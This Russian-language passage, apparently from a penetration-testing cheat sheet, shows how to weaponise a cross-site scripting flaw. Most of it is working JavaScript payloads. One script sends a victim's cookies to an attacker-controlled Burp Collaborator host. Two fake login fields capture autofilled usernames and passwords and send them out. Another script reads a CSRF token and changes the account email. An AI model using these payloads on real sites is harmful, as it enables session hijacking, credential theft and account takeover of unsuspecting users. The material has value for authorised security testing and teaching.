Обычно делают нагрузку alert(document.domain)
и этого достаточно, чтобы показать — "да, мы можем выполнять код в контексте JavaScript". Ниже примеры, как еще можем эксплуатировать эту уязвимость:
Кража сессии (куки)
Можем отправлять куки пользователей на свой домен и выполнить hijack. Конечно, есть ограничения:
Пользователь может быть неавторизован
Сессия может быть привязана к еще одному фактору (например, IP-адрес)
Время жизни сессии может быть невелика
Пример — Simple POST-request with cookies:
Copy <script>
let data = {
"cc": document.cookie
};
fetch("https://<YOU-COLLABORATOR>.burpcollaborator.net/", {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow',
body: JSON.stringify(data)
});
</script>
Кража паролей из форм автозаполнения
Конечно, если пользователь использует менеджеры паролей
Например, создаем блоки ввода как у оригинальной формы авторизации и менеджер паролей сам подставит туда значения:
Copy <input type=username name="username" onchange="if (this.value.length) fetch('https://<YOU-COLLABORATOR>.burpcollaborator.net/', {method:'POST', mode: 'no-cors', body:'login:' + this.value})">
<input type=password name="password" onchange="if (this.value.length) fetch('https://<YOU-COLLABORATOR>.burpcollaborator.net/', {method:'POST', mode: 'no-cors', body:'password:' + this.value})">
CSRF
Если мы можем исполнить JS, то мы можем сделать почти все, что и обычный пользователь. CSRF-токены от CSRF-атаки не спасут, если есть XSS на странице.
Copy <script>
fetch("/my-account", {
method: 'GET',
mode: 'cors',
credentials: 'include',
redirect: 'follow'
}).then(response => response.text())
.then(text => text.match(/name="csrf" value="([\w]+)"/)) // Get CSRF token
.then(csrf => { // Send request
fetch('/my-account/change-email', {
method: 'POST',
mode: 'cors',
credentials: 'include',
redirect: 'follow',
body: new URLSearchParams({
'email': 'newemail@normal-user.net',
'csrf': csrf[1]
})
})
});
</script>